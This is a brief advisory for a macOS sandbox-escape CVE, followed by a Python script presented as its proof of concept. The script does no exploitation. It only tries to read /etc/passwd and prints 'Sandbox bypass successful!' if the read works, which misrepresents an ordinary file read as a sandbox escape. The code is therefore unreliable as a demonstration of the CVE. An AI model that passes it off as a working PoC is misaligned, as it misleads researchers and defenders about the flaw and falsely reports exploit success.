A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. A malicious app may be able to break out of its sandbox.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-28978: macOS Sandbox Escape Concept
# This script demonstrates the logic of attempting to access restricted resources.
import os
def check_sandbox_escape():
# Attempt to access a system file outside the sandbox
restricted_path = "/etc/passwd"
print(f"[*] Attempting to access {restricted_path}...")
try:
with open(restricted_path, 'r') as f:
content = f.read()
print("[+] Sandbox bypass successful! Content snippet:")
print(content[:100])
except PermissionError:
print("[-] Access denied. Sandbox active or insufficient permissions.")
except FileNotFoundError:
print("[-] File not found.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
check_sandbox_escape()